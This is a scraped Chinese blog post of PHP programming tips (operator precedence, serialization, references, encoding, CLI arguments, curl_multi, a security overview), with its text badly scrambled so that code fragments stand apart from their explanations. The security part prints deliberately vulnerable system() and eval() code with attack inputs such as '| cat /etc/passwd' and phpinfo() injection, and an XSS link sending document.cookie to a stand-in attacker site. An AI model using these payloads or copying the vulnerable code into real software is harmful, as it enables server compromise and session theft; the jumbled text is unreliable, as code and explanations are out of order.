基于PHP编程注意事项的小结
php  /  管理员 发布于 7年前   350
1、php隐性的三元操作符(?:)优先级问题: 例1: //实际上是等同于: $person = empty($who)? "laruence" : $who; $a = ‘test2'; 其实仔细推敲后运行的,结果是notice:Undefined index 2.. 由于优先级的问题, 连接符的优先级比三元操作符高。 首先是判断 ' test'. isset($arr[$i]) 这个字符串永远是true,因此: $a = $arr[$i];以致php提示提醒。 2. PHP函数名和类名不区分大小写的,而变量名是区分大小写的。 所以自己写的php模块,往往是大写的问题,编译不通过。 3.系列化传递问题 把复杂的数据类型压缩到一个字符串中 结果:a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";} 4. 引用注意事项 1)unset 一个引用,只是断开了变量名和变量内容之间的绑定。这并不意味着变量内容被销毁了 2)PHP引用是采用引用计数、写时拷贝 很多人误解Php中的引用跟C当中的指针一样,事实上并非如此,而且很大差别。C语言中的指针除了在数组传递过程中不用显式申明外,其他都需要使用*进行定义,而php中对于地址的指向(类似指针)功能不是由用户自己来实现的,是由Zend核心实现的,php中引用采用的是“引用计数、写时拷贝”的原理,(写时复制(Copy-on-Write,也缩写为COW),顾名思义,就是在写入时才真正复制一份内存进行修改。) 就是除非发生写操作,指向同一个地址的变量或者对象是不会被拷贝的,比如下面的代码: 如果在后面继续写如下代码,增加一个函数,通过引用的方式传递参数,并打印输出数组大小。 直观的理解:$a将使用自己原始的内存空间,而$b,则会使用新开辟的内存空间,而这个空间将使用$a的原始($a或者$b改变之前)内容空间的内容的拷贝,然后做对应的改变。 如果我们把上面的代码改成下面这样: 5. 编码的问题 程序代码使用utf-8码,而strlen函数是计算字符串的字节数而不是字符数? echo strlen($str); 结果:ANSI=9 而utf-8=11,utf-8中文字符编码是3个字节。要获取字符数,使用mb_strlen(). 6. PHP获取参数的三种方法 方法一 使用$argc $argv 运行结果: 方法二 使用getopt函数() 方法三 提示用户输入,然后获取输入的参数。有点像C语言 9. PHP的安全漏洞问题: 针对PHP的网站主要存在下面几种攻击方式: 1、命令注入(Command Injection) PHP中可以使用下列5个函数来执行外部的应用程序或函数 system、exec、passthru、shell_exec、“(与shell_exec功能相同) 2、eval注入(Eval Injection) eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候。 防范命令注入和eval注入的方法 1)、尽量不要执行外部命令。 2)、使用自定义函数或函数库来替代外部命令的功能,甚至有些服务器直接禁止使用这些函数。 3)、使用escapeshellarg函数来处理命令参数,esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“'”,替换成“\'”,双引号“"”,替换成“\"”,分号“;”替换成“\;” 3、客户端脚本攻击(Script Insertion) 客户端脚本植入的攻击步骤 1)、攻击者注册普通用户后登陆网站 2)、打开留言页面,插入攻击的js代码 3)、其他用户登录网站(包括管理员),浏览此留言的内容 4)、隐藏在留言内容中的js代码被执行,攻击成功 表单输入一些浏览器可以执行的脚本: 插入 无限弹框 插入 js代码:location.href="http://www.zongscan.com"
跳转钓鱼页面 4、跨网站脚本攻击(Cross Site Scripting, XSS) 恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。 跨站脚本攻击的一般步骤: 1)、攻击者以某种方式发送xss的http链接给目标用户,例如评论表单: 插入 或者是链接: http://w w w.my.site/index.php?user=< script >document.location="http://w w w.atacker.site/get.php?cookie="+document.cookie;< / script > 2)、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接 3)、网站执行了此xss攻击脚本 4)、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息 5)、攻击者使用目标用户的信息登录网站,完成攻击 防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。 5、SQL注入攻击(SQL injection) SQL注入最有效的防御方式是使用准备语句: 准备语句(也叫预备语句 prepared statements),是一种查询,先将他们发送到服务器进行预编译和准备,并且在以后的执行这个查询时告诉它存储参数的位置。 其优点: 1)对参数值进行转义。因此不必调用像mysqli::real_escape_string或者将参数放在引号中。 2)当在一个脚本中多次执行时,预备语句的性能通常好于每次都通过网络发送查询,当再次执行一个查询时,只将参数发送到数据库,这占用的空间比较少。 1)用PDO(PHP Data Objects ): $preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)'); $preparedStatement->execute(array(':column' => $unsafeValue)); $stmt->bind_param('s', $name); $stmt->execute(); $result = $stmt->get_result(); while ($row = $result->fetch_assoc()) { // do something with $row } 7、Session 会话劫持(Session Hijacking) 8、Session 固定攻击(Session Fixation) 9、HTTP响应拆分攻击(HTTP Response Splitting) 10、文件上传漏洞(File Upload Attack) 11、目录穿越漏洞(Directory Traversal) 12、远程文件包含攻击(Remote Inclusion) 13、动态函数注入攻击(Dynamic Variable Evaluation) 14、URL攻击(URL attack) 15、表单提交欺骗攻击(Spoofed Form Submissions) 16、HTTP请求欺骗攻击(Spoofed HTTP Requests) 几个重要的php.ini选项:register_globals、、magic_quotes、safe_mode。 这个几个选项在PHP5.4都将被弃用。 register_globals: php>=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals 的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患。 要确保禁用 register_globals。如果启用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替换同名的 GET 或 POST 字符串。通过禁用这个设置,PHP 强迫您在正确的名称空间中引用正确的变量。要使用来自表单 POST 的变量,应该引用 $_POST['variable']。这样就不会将这个特定变量误会成 cookie、会话或 GET 变量。 safe_mode: 安全模式,PHP用来限制文档的存取、限制环境变量的存取,控制外部程序的执行。启用安全模式必须设置php.ini中的safe_mode=On magic_quotes 用来让php程序的输入信息自动转义,所有的单引号(“'”),双引号(“"”),反斜杠(“\”)和空字符(NULL),都自动被加上反斜杠进行转义magic_quotes_gpc=On用来设置magicquotes为On,它会影响HTTP请求的数据(GET、POST、Cookies)程序员也可以使用addslashes来转义提交的HTTP 请求数据,或者用stripslashes 来删除转义。 curl大家一定使用过,但并发使用的情况估计不多。但在某些情况下确实比较有用,比如在同一请求里面调用多个他方接口,传统方法我们需要串行请求接口: file_get_contents('http://a.php');//1秒 file_get_contents('http://b.php');//2秒 file_get_contents('http://c.php');//2秒 那在这里耗时为5秒,但运营curl的muti方法,我们只需2秒就可请求完毕. 在php的手册里面有一段代码: while ($active && $mrc == CURLM_OK) { $mh = curl_multi_init(); foreach ($connomains as $i => $url) { $active = 0;//连接数 do { //这个循环的目的是尽可能的读写,直到无法继续读写为止(返回CURLM_OK) if ($mrc != CURLM_OK) { // retrieve data print_r($res); do { curl_multi_exec($mh,$active); } while ($active); 看似也能得到结果,但其实很不严谨,并且很浪费cpu,因为这个循环会一直在不停的调用,直到所有链接处理完毕,在循环里面加个print 'a' 就可看出效果了。 Please note that results of empty() when called on non-existing / non-public variables of a class are a bit confusing if using magic method __get (as previously mentioned by nahpeps at gmx dot de). Consider this example: $registry = new Registry(); var_dump(empty($registry->notExisting)); // true, so far so good php ./test.php 我们可以在vi中使用:set ff来查看格式: fileformat=dos 122 在 123 在 原梓番博客 在 博主 在 1111 在
Copyright·© 2019 侯体宗版权所有·
粤ICP备20027696号
$person = $who or $person = "laruence";
例2
复制代码 代码如下:
$arr = array();
$i = 2;
$a = 'test' . isset($arr[$i]) ? $arr[$i] : $i;
$a 是什么? 这个问题, 咋一看觉得简单,
serialize() 把变量和它们的值编码成文本形式
unserialize() 恢复原先变量
$stooges = array('Moe','Larry','Curly');
$new = serialize($stooges);
print_r($new);echo "
";
print_r(unserialize($new));
Array ( [0] => Moe [1] => Larry [2] => Curly )
当把这些序列化的数据放在URL中在页面之间会传递时,需要对这些数据调用urlencode(),以确保在其中的URL元字符进行处理:
$shopping = array('Poppy seed bagel' => 2,'Plain Bagel' =>1,'Lox' =>4);
echo 'next';
margic_quotes_gpc和magic_quotes_runtime配置项的设置会影响传递到unserialize()中的数据。
如果magic_quotes_gpc项是启用的,那么在URL、POST变量以及cookies中传递的数据在反序列化之前必须用stripslashes()进行处理:
复制代码 代码如下:
$new_cart = unserialize(stripslashes($cart)); //如果magic_quotes_gpc开启
$new_cart = unserialize($cart);
如果magic_quotes_runtime是启用的,那么在向文件中写入序列化的数据之前必须用addslashes()进行处理,而在读取它们之前则必须用stripslashes()进行处理:
复制代码 代码如下:
$fp = fopen('/tmp/cart','w');
fputs($fp,addslashes(serialize($a)));
fclose($fp);
//如果magic_quotes_runtime开启
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart')));
//如果magic_quotes_runtime关闭
$new_cat = unserialize(file_get_contents('/tmp/cart'));
在启用了magic_quotes_runtime的情况下,从数据库中读取序列化的数据也必须经过stripslashes()的处理,保存到数据库中的序列化数据必须要经过addslashes()的处理,以便能够适当地存储。
复制代码 代码如下:
mysql_query("insert into cart(id,data) values(1,'".addslashes(serialize($cart))."')");
$rs = mysql_query('select data from cart where id=1');
$ob = mysql_fetch_object($rs);
//如果magic_quotes_runtime开启
$new_cart = unserialize(stripslashes($ob->data));
//如果magic_quotes_runtime关闭
$new_cart = unserialize($ob->data);
当对一个对象进行反序列化操作时,PHP会自动地调用其__wakeUp()方法。这样就使得对象能够重新建立起序列化时未能保留的各种状态。例如:数据库连接等。
PHP中引用意味着用不同的名字访问同一个变量内容,引用不是C的指针(C语言中的指针里面存储的是变量的内容,在内存中存放的地址),是变量的另外一个别名或者映射。注意在 PHP 中,变量名和变量内容是不一样的,因此同样的内容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身DD变量名是目录条目,而变量内容则是文件本身。引用可以被看作是 Unix 文件系统中的紧密连接或者wins的快捷方式。
例如:不会 unset $b,只是 $a。
$a = 1 ;
$b =& $a ;
unset ( $a );
echo $b; //输出:1:
使用unset($a)与$a=null的结果是不一样的。如果该块内存只有$a一个映射,那么unset($a)与$a=null等价,该内存的引用计数变为0,被自动回收;如果该块内存有$a和$b两个映射,那么unset($a)将导致$a=null且$b不变的情况,而$a=null会导致$a=$b=null的情况。
原因:某变量赋值为null,将导致该变量对应的内存块的引用计数直接置为0,被自动回收。
$a = array('a','c'...'n');
$b = $a;
如果程序仅执行到这里,$b和$b是相同的,但是并没有像C那样,$a和$b占用不同的内存空间,而是指向了同一块内存,这就是php和c的差别,并不需要写成$b=&$a才表示$b指向$a的内存,zend就已经帮你实现了引用,并且zend会非常智能的帮你去判断什么时候该这样处理,什么时候不该这样处理。
function printArray(&$arr) //引用传递
{
print(count($arr));
}
printArray($a);
上面的代码中,我们通过引用把$a数组传入printArray()函数,zend引擎会认为printArray()可能会导致对$a的改变,此时就会自动为$b生产一个$a的数据拷贝,重新申请一块内存进行存储。这就是前面提到的“引用计数、写时拷贝”概念。
function printArray($arr) //值传递
{
print(count($arr));
}
printArray($a);
上面的代码直接传递$a值到printArray()中,此时并不存在引用传递,所以没有出现写时拷贝。
$str = “您好hello”;
if ($argc > 1){
print_r($argv);
}
在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
# /usr/local/php/bin/php ./getopt.php -f 123 -g 456
Array
(
[0] => ./getopt.php
[1] => -f
[2] => 123
[3] => -g
[4] => 456
)
$options = "f:g:";
$opts = getopt( $options );
print_r($opts);
在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456
运行结果:
Array
(
[f] => 123
[g] => 456
)
fwrite(STDOUT, "Enter your name: ");
$name = trim(fgets(STDIN));
fwrite(STDOUT, "Hello, $name!");
在命令行下运行 /usr/local/php/bin/php ./getopt.php
运行结果
Enter your name: francis
Hello, francis!
7. php的字符串即可以当做数组,和c指针字符串一样
$s = '12345';
$s[$s[0]] = 0;
echo $s;
?>
结果是10345
8. PHP的高效率写法:
如:
$dir = $_GET["dir"];
if (isset($dir)) {
echo "";
system("ls -al ".$dir);
echo "";
}
?>
我们提交http://www.test.com/ex1.php?dir=| cat /etc/passwd,命令变成了 system("ls -al | cat /etc/passwd"); 我们服务器用户信息被窃看了吧。
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>
当我们提交http://www.zongscan.com/ex2.php?arg=phpinfo();漏洞就产生了;
防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
PHP PDO::prepare() and execute()
2) 使用mysqli:
复制代码 代码如下:
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
10. curl多请求并发使用
$mrc = curl_multi_init();
//发出请求
.......
$active = null;
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
if (curl_multi_select($mh) != -1) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}
//下面是处理请求返回的结果
但如果我有1000个请求,那么curl批处理将并发1000个请求,显然是不合理,所以应该要控制一个并发数,并且将剩余的连接添加到请求队列里:
参考:How to use curl_multi() without blocking
复制代码 代码如下:
$connomains = array(
//2.php自己去些
"http://localhost/2.php?id=1",//sleep(1)秒
"http://localhost/2.php?id=2",//sleep(2)秒
"http://localhost/2.php?id=5",//sleep(5)秒
);
$conn[$i] = curl_init($url);//初始化各个子连接
curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);//不直接输出到浏览器
curl_multi_add_handle ($mh,$conn[$i]);//加入多处理句柄
}
do{
//这里$active会被改写成当前未处理数
//全部处理成功$active会变成0
$mrc = curl_multi_exec($mh, $active);
//返回(CURLM_CALL_MULTI_PERFORM)就表示还能继续向网络读写
}while($mrc==CURLM_CALL_MULTI_PERFORM);
//如果一切正常,那么我们要做一个轮询,每隔一定时间(默认是1秒)重新请求一次
//这就是curl_multi_select的作用,它在等待过程中,如果有就返回目前可以读写的句柄数量,以便
//继续读写操作,0则没有可以读写的句柄(完成了)
} while ($mrc==CURLM_OK&& $active &&curl_multi_select($mh)!=-1);//直到出错或者全部读写完毕
print "Curl multi read error $mrc/n";
}
foreach ($connomains as $i => $url) {
if (($err = curl_error($conn[$i])) == '') {
$res[$i]=curl_multi_getcontent($conn[$i]);
} else {
print "Curl error on handle $i: $err/n";
}
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}
curl_multi_close($mh);
?>
有的人为了省事,这样写:
11、empty使用魔术方法__get判断对象属性是否为空不起作用
class Registry
{
protected $_items = array();
public function __set($key, $value)
{
$this->_items[$key] = $value;
}
public function __get($key)
{
if (isset($this->_items[$key])) {
return $this->_items[$key];
} else {
return null;
}
}
}
$registry->empty = '';
$registry->notEmpty = 'not empty';
var_dump(empty($registry->empty)); // true, so far so good
var_dump(empty($registry->notEmpty)); // true, .. say what?
$tmp = $registry->notEmpty;
var_dump(empty($tmp)); // false as expected
?>
12、Linux下命令行执行php文件的格式必须是unix。
如果test.php是windos上传的,其格式可能是dos。
然后运行该命令就报错:Could not open input file
如果是dos格式,那么就要使用:set ff=unix来设置新格式
再使用:set ff来查看格式,可以看到已经是unix的格式了;
fileformat=unix您可能感兴趣的文章:
上一条:
php正则表达式使用的详细介绍
下一条:
php二维数组排序与默认自然排序的方法介绍
